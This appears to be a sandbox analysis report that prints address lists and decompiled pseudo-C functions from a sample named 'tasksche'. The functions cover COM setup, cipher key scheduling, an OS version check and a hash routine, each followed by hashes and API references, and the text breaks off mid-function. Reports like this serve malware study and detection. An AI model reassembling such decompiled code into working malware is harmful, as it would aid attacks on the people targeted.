0x00413fda
0x00413fda
0x00413fda
0x00413fdd
0x00413fdd
0x00413fe6
0x00000000
0x00413fe6
0x00413fc5
0x00413ff2
0x00413ff2
0x00413ff5
0x00413ff5
0x00413ffd
0x0041400a
0x0041400f
0x0041400f
0x0041400f
0x00414013
0x00414019
0x0041401b
0x0041402c
0x0041402e
0x00414033
0x00414039
0x0041403e
0x00414042
0x0041406d
0x0041406e
0x00414075
0x00414078
0x00414090
0x00414093
0x0041409d
0x0041409f
0x004140a5
0x004140ab
0x004140b0
0x004140b4
0x004140b6
0x004140b8
0x004140b8
0x004140b8
0x004140ba
0x004140c2
0x004140c2
0x004140c5
0x004140e6
0x004140e9
0x004140eb
0x00414147
0x00414160
0x00414160
0x00414163
0x00414149
0x00414151
0x00414154
0x00414154
0x00414167
0x0041416a
0x0041418b
0x0041418b
0x0041418f
0x00000000
0x00000000
0x00414171
0x00414174
0x0041417b
0x00000000
0x00000000
0x00414180
0x00414180
0x00414180
0x00414183
0x00414183
0x00000000
0x0041418b
0x004140ed
0x004140f0
0x00414109
0x00414109
0x0041410c
0x004140f2
0x004140fa
0x004140fd
0x004140fd
0x00414110
0x00414113
0x00414118
0x0041411c
0x0041413f
0x0041413f
0x00414143
0x00000000
0x00000000
0x00414120
0x00414123
0x00414126
0x0041412b
0x00000000
0x00000000
0x00414134
0x0041413b
0x0041413b
0x0041413c
0x0041413c
0x00414145
0x00000000
0x0041411c
0x004140c7
0x004140d3
0x004140d6
0x004140de
0x00000000
0x004140de
0x0041407a
0x0041407e
0x0041407e
0x00414080
0x00000000
0x00000000
0x00414082
0x00414083
0x00414086
0x00414089
0x00000000
0x00000000
0x00000000
0x0041408b
0x0041408d
0x00000000
0x0041408d
0x00414046
0x00414049
0x00414053
0x00414058
0x0041405b
0x00414060
0x00414063
0x00000000
0x00414063
0x0041401f
0x00414024
0x00414026
0x004141ac
0x004141ac
0x00414226
0x00000000
0x00414226
0x00000000
0x00414191
0x00414191
0x00414191
0x0041419e
0x004141a0
0x004141a3
0x004141aa
0x004141c5
0x004141dc
0x004141f0
0x00414204
0x00414215
0x00414215
0x0041421c
0x00414224
0x00000000
0x00414224
0x00000000
0x004141aa
0x00413f36
0x00000000
0x00413f40
0x00413efd
0x00413f04
0x00000000
0x00000000
0x0041422a

APIs

_memset.LIBCMT ref: 00413F73

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 9c54e9cdedc4d1f5f0a70ee5fbfd421263a38b40d6fcac4ed0c82430486a0b60
Instruction ID: 3562be7dcc5a33f83423fe2ddc28cf6e78eed116dec30ec79901489c8d2199a3
Opcode Fuzzy Hash: 9c54e9cdedc4d1f5f0a70ee5fbfd421263a38b40d6fcac4ed0c82430486a0b60
Instruction Fuzzy Hash: CBA11472A00208EBDB04DF65C581BED77B5AB94304F24447FE942EB282C77C9AC2DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00419BB0 Relevance: 1.6, APIs: 1, Instructions: 89
comCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00419BB0(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* _v8;
				void* _v12;
				char* _t34;
				intOrPtr* _t36;
				intOrPtr* _t38;
				intOrPtr* _t40;
				intOrPtr* _t42;
				intOrPtr* _t44;
				intOrPtr* _t46;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				void* _t56;
				void* _t57;
				intOrPtr _t63;

				_t34 =  &_v8;
				_t57 = 0;
				__imp__CoCreateInstance(0x42b1f8, 0, 1, 0x42b148, _t34, _t56, __ecx, __ecx);
				if(_t34 >= 0) {
					_t36 = _v8;
					_push( &_v12);
					_push(0x42b1e8);
					_push(_t36);
					if( *((intOrPtr*)( *_t36))() >= 0) {
						if(_a4 != 0) {
							_t54 = _v12;
							 *((intOrPtr*)( *_t54 + 0x14))(_t54, _a12, 2);
						}
						_t40 = _v8;
						 *((intOrPtr*)( *_t40 + 0x50))(_t40, _a8);
						if(_a20 != _t57) {
							_t52 = _v8;
							 *((intOrPtr*)( *_t52 + 0x1c))(_t52, _a20);
						}
						_t42 = _v8;
						_t63 =  *_t42;
						_push(_t57);
						if(_a24 != _t57) {
							_push(_a24);
						} else {
							_push(0x42a73c);
						}
						 *((intOrPtr*)(_t63 + 0x44))(_t42);
						if(_a28 != _t57) {
							_t50 = _v8;
							 *((intOrPtr*)( *_t50 + 0x2c))(_t50, _a28);
						}
						if(_a16 != _t57) {
							_t48 = _v8;
							 *((intOrPtr*)( *_t48 + 0x24))(_t48, _a16);
						}
						_t44 = _v12;
						_push(1);
						_push(_a12);
						_push(_t44);
						if( *((intOrPtr*)( *_t44 + 0x18))() >= 0) {
							_t57 = 1;
						}
						_t46 = _v12;
						 *((intOrPtr*)( *_t46 + 8))(_t46);
					}
					_t38 = _v8;
					 *((intOrPtr*)( *_t38 + 8))(_t38);
				}
				return _t57;
			}

0x00419bb6
0x00419bc1
0x00419bc9
0x00419bd1
0x00419bd7
0x00419bdf
0x00419be0
0x00419be5
0x00419bea
0x00419bf3
0x00419bf5
0x00419c00
0x00419c00
0x00419c03
0x00419c0c
0x00419c12
0x00419c14
0x00419c1d
0x00419c1d
0x00419c20
0x00419c23
0x00419c25
0x00419c29
0x00419c32
0x00419c2b
0x00419c2b
0x00419c2b
0x00419c36
0x00419c3c
0x00419c3e
0x00419c47
0x00419c47
0x00419c4d
0x00419c4f
0x00419c58
0x00419c58
0x00419c5b
0x00419c60
0x00419c62
0x00419c65
0x00419c6b
0x00419c6d
0x00419c6d
0x00419c6f
0x00419c75
0x00419c75
0x00419c78
0x00419c7e
0x00419c7e
0x00419c85

APIs

CoCreateInstance.OLE32(0042B1F8,00000000,00000001,0042B148,?), ref: 00419BC9

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 291608a549582a43ab036b31c95ed53b806bcf03129be81fab9f556b712dc9f9
Instruction ID: e9337f94160ec10d5a134cda80235c1f61728acff05639409476ed3799cc72ed
Opcode Fuzzy Hash: 291608a549582a43ab036b31c95ed53b806bcf03129be81fab9f556b712dc9f9
Instruction Fuzzy Hash: FC311875A00209EFCF04CFA0C898DAA7BB9EF49304B204499F942DB250D739EE51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA52 Relevance: 1.6, APIs: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040CA52(signed char* __ecx, intOrPtr __edx, void* __edi, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed char* _v8;
				unsigned int _v16;
				char _v24;
				char _v40;
				void* _t32;
				signed int _t33;
				void* _t34;
				void* _t36;
				void* _t39;
				intOrPtr _t41;
				char _t44;
				char _t47;
				intOrPtr _t48;
				signed int _t54;
				void* _t55;
				signed int _t57;
				intOrPtr* _t60;
				signed char* _t61;
				void* _t63;

				_t55 = __edi;
				_v8 = __ecx;
				_push(_t41);
				asm("cpuid");
				_t60 =  &_v24;
				 *_t60 = 1;
				 *((intOrPtr*)(_t60 + 4)) = _t41;
				 *((intOrPtr*)(_t60 + 8)) = 0;
				 *((intOrPtr*)(_t60 + 0xc)) = __edx;
				_t61 = _v8;
				 *_t61 = _v16 >> 0x00000019 & 0x00000001;
				_t32 = _a12 - 0x80;
				if(_t32 == 0) {
					_t47 = 0x10;
					_t61[4] = 0xa;
				} else {
					_t39 = _t32 - 0x40;
					if(_t39 == 0) {
						_t47 = 0x18;
						_t61[4] = 0xc;
					} else {
						if(_t39 != 0x40) {
							_t47 = _a4;
						} else {
							_t47 = 0x20;
							_t61[4] = 0xe;
						}
					}
				}
				_t33 = 0;
				if(_t47 <= 0) {
					L11:
					_t48 = _a16;
					_t71 = _t48;
					if(_t48 != 0) {
						_t34 = 0;
						__eflags = 0;
						do {
							_t61[_t34 + 8] =  *((intOrPtr*)(_t34 + _t48));
							_t34 = _t34 + 1;
							__eflags = _t34 - 0x10;
						} while (__eflags < 0);
						L15:
						_t36 = E0040C4FF(_t61, _t71,  &_v40);
						if(_a4 == 0) {
							_t36 = E0040C6C4(_t61);
						}
						return _t36;
					}
					_t20 =  &(_t61[8]); // 0x8
					E0041A820(_t55, _t20, _t48, 0x10);
					goto L15;
				} else {
					_push(_t55);
					do {
						_t44 =  *((intOrPtr*)(_t33 + _a8));
						_t54 = _t33 >> 2;
						_t57 = _t33 & 0x00000003;
						_t33 = _t33 + 1;
						 *((char*)(_t63 + _t57 - 0x24 + _t54 * 4)) = _t44;
					} while (_t33 < _t47);
					_pop(_t55);
					goto L11;
				}
			}

0x0040ca52
0x0040ca5b
0x0040ca60
0x0040ca61
0x0040ca64
0x0040ca67
0x0040ca69
0x0040ca6c
0x0040ca6f
0x0040ca75
0x0040ca7d
0x0040ca82
0x0040ca87
0x0040caad
0x0040caae
0x0040ca89
0x0040ca89
0x0040ca8c
0x0040caa1
0x0040caa2
0x0040ca8e
0x0040ca91
0x0040cab7
0x0040ca93
0x0040ca95
0x0040ca96
0x0040ca96
0x0040ca91
0x0040ca8c
0x0040caba
0x0040cabe
0x0040cade
0x0040cade
0x0040cae1
0x0040cae3
0x0040caf6
0x0040caf6
0x0040caf8
0x0040cafb
0x0040caff
0x0040cb00
0x0040cb00
0x0040cb05
0x0040cb0b
0x0040cb14
0x0040cb18
0x0040cb18
0x0040cb20
0x0040cb20
0x0040cae8
0x0040caec
0x00000000
0x0040cac0
0x0040cac0
0x0040cac1
0x0040cac4
0x0040cacb
0x0040cace
0x0040cad1
0x0040cad6
0x0040cad9
0x0040cadd
0x00000000
0x0040cadd

APIs

_memset.LIBCMT ref: 0040CAEC

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f170c41e67568dbb41c50a43ec108573c349a1076046e87b2a713adcc681154b
Instruction ID: e1f0199fda650a5869103b9083c5b7a650503f912fa59dbaeb4dd54c60283149
Opcode Fuzzy Hash: f170c41e67568dbb41c50a43ec108573c349a1076046e87b2a713adcc681154b
Instruction Fuzzy Hash: 0721F672704209DFD724CF28D4817AA7BE5AB19300F10892FD896E73C2C678E9458B49

Uniqueness

Uniqueness Score: -1.00%

Function 00409C06 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409C06() {
				struct _OSVERSIONINFOW _v280;
				signed int _t6;
				intOrPtr _t12;

				_t12 =  *0x43003c; // 0xffffffff
				if(_t12 != 0xffffffff) {
					_t6 =  *0x4335d4; // 0x0
				} else {
					_v280.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v280);
					_t12 = _v280.dwPlatformId;
					_t6 = _v280.dwMajorVersion;
					 *0x43003c = _t12;
					 *0x4335d4 = _t6;
					 *0x4335d0 = _v280.dwMinorVersion;
				}
				if(_t12 != 2) {
					return 0x501;
				} else {
					return (_t6 << 8) +  *0x4335d0;
				}
			}

0x00409c09
0x00409c18
0x00409c56
0x00409c1a
0x00409c21
0x00409c2b
0x00409c31
0x00409c37
0x00409c43
0x00409c49
0x00409c4e
0x00409c4e
0x00409c5e
0x00409c71
0x00409c60
0x00409c6a
0x00409c6a

APIs

GetVersionExW.KERNEL32(?), ref: 00409C2B

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 1145292b874a8e7a56bde58bed546469a1a499fc1dbdbc0264d61b52db470385
Instruction ID: d7c6bb9a1732f6c2eece22a2b410928bcf9985e9f3444315991ea75afaaef588
Opcode Fuzzy Hash: 1145292b874a8e7a56bde58bed546469a1a499fc1dbdbc0264d61b52db470385
Instruction Fuzzy Hash: E4F0F4B1A041088FDB28CF18E992A99B7F5A748305F1002A5D619D3390DA78AE81CF69

Uniqueness

Uniqueness Score: -1.00%

Function 004234CE Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004234CE() {

				SetUnhandledExceptionFilter(E0042348C);
				return 0;
			}

0x004234d3
0x004234db

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002348C), ref: 004234D3

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c83ebaee86b923b47ec218d74108a47e8bb0214f05dc8ef17ebda85afd4cada2
Instruction ID: 1b01da781a1f42b14bf088c4285091799bc00e9a7c54fca4454c541a30810ab4
Opcode Fuzzy Hash: c83ebaee86b923b47ec218d74108a47e8bb0214f05dc8ef17ebda85afd4cada2
Instruction Fuzzy Hash: 539002603521104746112BB06C1D51565A17F48617BD104A5B401C5054DA598621551B

Uniqueness

Uniqueness Score: -1.00%

Function 00404986 Relevance: 1.5, Strings: 1, Instructions: 245
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E00404986(void* __eax, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void _v68;
				void _v132;
				void* _t219;
				signed int* _t220;
				void* _t223;
				signed int* _t226;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t233;
				signed int _t238;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				void* _t244;
				intOrPtr _t245;
				signed int _t252;
				signed int _t257;
				signed int _t259;
				signed int _t265;
				signed int _t270;
				signed int _t275;
				signed int _t280;
				signed int _t282;
				signed int _t283;
				signed int _t285;
				signed int _t289;
				signed int _t290;
				signed int _t293;
				signed int _t294;
				signed int _t300;
				signed int _t301;
				signed int _t303;
				signed int _t315;
				signed int _t316;
				signed int _t341;
				signed int _t346;
				signed int _t347;
				signed int _t348;
				signed int _t353;
				signed int _t357;
				signed int _t358;
				signed int _t362;
				void* _t364;

				_t245 = _a4;
				_t233 = 0x10;
				memcpy( &_v132, __eax, _t233 << 2);
				_push(8);
				_t219 = memcpy( &_v68,  *(_t245 + 0xf4), 0 << 2);
				_t220 =  *(_t245 + 0xfc);
				_t238 =  *_t219 ^ 0x510e527f;
				_t341 =  *(_t219 + 4) ^ 0x9b05688c;
				_v8 = _t220[1] ^ 0x5be0cd19;
				_v36 = 0x6a09e667;
				_v32 = 0xbb67ae85;
				_v28 = 0x3c6ef372;
				_v24 = 0xa54ff53a;
				_v12 =  *_t220 ^ 0x1f83d9ab;
				_t223 = 0;
				while(1) {
					_t18 = _t223 + 0x42a4d0; // 0x3020100
					_t229 = _v68 +  *((intOrPtr*)(_t364 + ( *_t18 & 0x000000ff) * 4 - 0x80)) + _v52;
					_t24 = _t223 + 0x42a4d1; // 0x4030201
					_t252 = _t229 ^ _t238;
					asm("ror edx, 0x10");
					_v36 = _v36 + _t252;
					_t240 = _v52 ^ _v36;
					asm("ror ecx, 0xc");
					_t230 = _t229 +  *((intOrPtr*)(_t364 + ( *_t24 & 0x000000ff) * 4 - 0x80)) + _t240;
					_v68 = _t230;
					_t231 = _t230 ^ _t252;
					_t33 = _t223 + 0x42a4d2; // 0x5040302
					asm("ror ebx, 0x8");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t33 & 0x000000ff) * 4 - 0x80)) + _v48;
					_v36 = _v36 + _t231;
					_t241 = _t240 ^ _v36;
					_t257 = _v64 ^ _t341;
					_t44 = _t223 + 0x42a4d3; // 0x6050403
					asm("ror ecx, 0x7");
					asm("ror edx, 0x10");
					_v32 = _v32 + _t257;
					_v16 = _t257;
					_t259 = _v48 ^ _v32;
					_t315 = _v40;
					asm("ror edx, 0xc");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t44 & 0x000000ff) * 4 - 0x80)) + _t259;
					_t346 = _v64 ^ _v16;
					asm("ror esi, 0x8");
					_v32 = _v32 + _t346;
					_v16 = _t346;
					_t347 = _v44;
					asm("ror edx, 0x7");
					_v48 = _t259 ^ _v32;
					_t64 = _t223 + 0x42a4d4; // 0x7060504
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t64 & 0x000000ff) * 4 - 0x80)) + _t347;
					_t265 = _v60 ^ _v12;
					asm("ror edx, 0x10");
					_v28 = _v28 + _t265;
					_t348 = _t347 ^ _v28;
					_v12 = _t265;
					_t76 = _t223 + 0x42a4d5; // 0x8070605
					asm("ror esi, 0xc");
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t76 & 0x000000ff) * 4 - 0x80)) + _t348;
					_t270 = _v60 ^ _v12;
					asm("ror edx, 0x8");
					_v28 = _v28 + _t270;
					_v12 = _t270;
					_t88 = _t223 + 0x42a4d6; // 0x9080706
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t88 & 0x000000ff) * 4 - 0x80)) + _t315;
					_t275 = _v56 ^ _v8;
					asm("ror esi, 0x7");
					asm("ror edx, 0x10");
					_v24 = _v24 + _t275;
					_t316 = _t315 ^ _v24;
					_v44 = _t348 ^ _v28;
					_v8 = _t275;
					_t101 = _t223 + 0x42a4d7; // 0xa090807
					asm("ror edi, 0xc");
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t101 & 0x000000ff) * 4 - 0x80)) + _t316;
					_t280 = _v56 ^ _v8;
					asm("ror edx, 0x8");
					_v24 = _v24 + _t280;
					_v8 = _t280;
					_t113 = _t223 + 0x42a4d8; // 0xb0a0908
					_t282 = _v48;
					_v68 = _v68 +  *((intOrPtr*)(_t364 + ( *_t113 & 0x000000ff) * 4 - 0x80)) + _t282;
					_t353 = _v68 ^ _v8;
					asm("ror edi, 0x7");
					asm("ror esi, 0x10");
					_v28 = _v28 + _t353;
					_t283 = _t282 ^ _v28;
					_v40 = _t316 ^ _v24;
					_t126 = _t223 + 0x42a4d9; // 0xc0b0a09
					asm("ror edx, 0xc");
					_v68 = _v68 +  *((intOrPtr*)(_t364 + ( *_t126 & 0x000000ff) * 4 - 0x80)) + _t283;
					_v48 = _t283;
					_t285 = _v68 ^ _t353;
					asm("ror edx, 0x8");
					_v28 = _v28 + _t285;
					_v8 = _t285;
					_t139 = _t223 + 0x42a4db; // 0xe0d0c0b
					asm("ror edx, 0x7");
					_v48 = _v48 ^ _v28;
					_t144 = _t223 + 0x42a4da; // 0xd0c0b0a
					_t289 = _v44;
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t144 & 0x000000ff) * 4 - 0x80)) + _t289;
					_t357 = _v64 ^ _t231;
					asm("ror esi, 0x10");
					_v24 = _v24 + _t357;
					_t290 = _t289 ^ _v24;
					asm("ror edx, 0xc");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t139 & 0x000000ff) * 4 - 0x80)) + _t290;
					asm("ror edi, 0x8");
					_t358 = _v64 ^ _t357;
					_v24 = _v24 + _t358;
					_t161 = _t223 + 0x42a4dd; // 0xe0f0e0d
					asm("ror edx, 0x7");
					_v44 = _t290 ^ _v24;
					_t166 = _t223 + 0x42a4dc; // 0xf0e0d0c
					_v20 = _t358;
					_t293 = _v40;
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t166 & 0x000000ff) * 4 - 0x80)) + _t293;
					_t362 = _v60 ^ _v16;
					asm("ror esi, 0x10");
					_v36 = _v36 + _t362;
					_t294 = _t293 ^ _v36;
					asm("ror edx, 0xc");
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t161 & 0x000000ff) * 4 - 0x80)) + _t294;
					asm("ror edi, 0x8");
					_t341 = _v60 ^ _t362;
					_v36 = _v36 + _t341;
					_t185 = _t223 + 0x42a4df; // 0x40a0e0f
					asm("ror edx, 0x7");
					_v40 = _t294 ^ _v36;
					_t190 = _t223 + 0x42a4de; // 0xa0e0f0e
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t190 & 0x000000ff) * 4 - 0x80)) + _t241;
					_t300 = _v56 ^ _v12;
					_t223 = _t223 + 0x10;
					asm("ror edx, 0x10");
					_v32 = _v32 + _t300;
					_t242 = _t241 ^ _v32;
					_v16 = _t341;
					asm("ror ecx, 0xc");
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t185 & 0x000000ff) * 4 - 0x80)) + _t242;
					asm("ror edi, 0x8");
					_t301 = _v56 ^ _t300;
					_v32 = _v32 + _t301;
					_v12 = _t301;
					asm("ror ecx, 0x7");
					_v52 = _t242 ^ _v32;
					if(_t223 > 0x90) {
						break;
					}
					_t238 = _v20;
				}
				_t244 = 0;
				do {
					_t226 =  *((intOrPtr*)(_a4 + 0xf4)) + _t244;
					_t303 =  *(_t364 + _t244 - 0x20) ^  *_t226;
					_t244 = _t244 + 4;
					 *_t226 = _t303 ^  *(_t364 + _t244 - 0x44);
				} while (_t244 < 0x20);
				return _t226;
			}

0x0040498f
0x0040499f
0x004049a3
0x004049ab
0x004049b1
0x004049b8
0x004049ce
0x004049d4
0x004049da
0x004049dd
0x004049e4
0x004049eb
0x004049f2
0x004049f9
0x004049fc
0x00404a03
0x00404a03
0x00404a14
0x00404a16
0x00404a23
0x00404a25
0x00404a28
0x00404a2e
0x00404a31
0x00404a36
0x00404a38
0x00404a3b
0x00404a3d
0x00404a4b
0x00404a4e
0x00404a51
0x00404a54
0x00404a5a
0x00404a5c
0x00404a67
0x00404a6a
0x00404a6d
0x00404a70
0x00404a76
0x00404a79
0x00404a7c
0x00404a81
0x00404a87
0x00404a8a
0x00404a8d
0x00404a93
0x00404a96
0x00404a99
0x00404a9c
0x00404a9f
0x00404aac
0x00404ab2
0x00404ab5
0x00404ab8
0x00404abb
0x00404abe
0x00404ac1
0x00404acc
0x00404ad1
0x00404ad7
0x00404ada
0x00404add
0x00404ae3
0x00404ae6
0x00404af3
0x00404af9
0x00404afc
0x00404aff
0x00404b02
0x00404b05
0x00404b08
0x00404b0b
0x00404b0e
0x00404b19
0x00404b1e
0x00404b24
0x00404b27
0x00404b2a
0x00404b30
0x00404b33
0x00404b3e
0x00404b43
0x00404b49
0x00404b4c
0x00404b4f
0x00404b52
0x00404b55
0x00404b58
0x00404b5b
0x00404b66
0x00404b6b
0x00404b6e
0x00404b74
0x00404b76
0x00404b79
0x00404b7c
0x00404b85
0x00404b90
0x00404b93
0x00404b96
0x00404ba1
0x00404ba6
0x00404bac
0x00404bae
0x00404bb1
0x00404bb4
0x00404bb7
0x00404bbc
0x00404bc4
0x00404bc7
0x00404bc9
0x00404bcf
0x00404bda
0x00404bdd
0x00404be0
0x00404be7
0x00404bee
0x00404bf3
0x00404bf9
0x00404bfc
0x00404bff
0x00404c02
0x00404c05
0x00404c0a
0x00404c12
0x00404c15
0x00404c17
0x00404c1d
0x00404c28
0x00404c2b
0x00404c2e
0x00404c3b
0x00404c41
0x00404c44
0x00404c47
0x00404c4a
0x00404c4d
0x00404c50
0x00404c53
0x00404c58
0x00404c60
0x00404c63
0x00404c65
0x00404c6b
0x00404c6e
0x00404c71
0x00404c79
0x00000000
0x00000000
0x00404a00
0x00404a00
0x00404c81
0x00404c84
0x00404c91
0x00404c93
0x00404c95
0x00404c9c
0x00404c9e
0x00404ca4

Strings

gj, xrefs: 004049DD

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 8e8f698dc4288f7cd721a7a81a634b87765ee1de91585cf515aab87a68fe5fee
Instruction ID: d9eb52a2d6ff44a43e3580116b86408f9a206631cbab7b39ea8bb55ae5343344
Opcode Fuzzy Hash: 8e8f698dc4288f7cd721a7a81a634b87765ee1de91585cf515aab87a68fe5fee
Instruction Fuzzy Hash: 81C126B2D002289BDF44CF9AD8405EEFBF2BFC8310F2AC1A6D81477615D6346A529F91

Uniqueness

Uniqueness Score: -1.00%

Function 00416C3F Relevance: .8, Instructions: 835
COMMONCrypto

Download Yara Rule

C-Code - Quality: 74%

			E00416C3F(void* __ecx, unsigned int _a4) {
				signed int _v8;
				unsigned int _v12;
				unsigned int _v16;
				char _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t398;
				signed int _t399;
				unsigned int _t400;
				signed int _t403;
				intOrPtr* _t405;
				signed int _t407;
				unsigned int _t408;
				signed int _t411;
				signed int _t412;
				signed int* _t420;
				intOrPtr _t421;
				unsigned int _t423;
				unsigned int _t432;
				unsigned int _t434;
				signed int _t435;
				unsigned int _t438;
				signed int _t441;
				signed int _t442;
				signed int _t444;
				signed int _t445;
				signed int* _t446;
				char* _t447;
				unsigned int _t449;
				unsigned int _t451;
				signed int _t453;
				signed int _t456;
				signed int _t457;
				signed int _t464;
				unsigned int _t465;
				signed int _t468;
				signed int _t469;
				signed int* _t477;
				unsigned int _t479;
				unsigned int _t482;
				signed int _t483;
				unsigned int _t486;
				signed int _t489;
				signed int _t490;
				signed int _t491;
				unsigned int _t492;
				signed int _t495;
				signed int _t496;
				signed int _t497;
				unsigned int _t498;
				signed int _t505;
				unsigned int _t506;
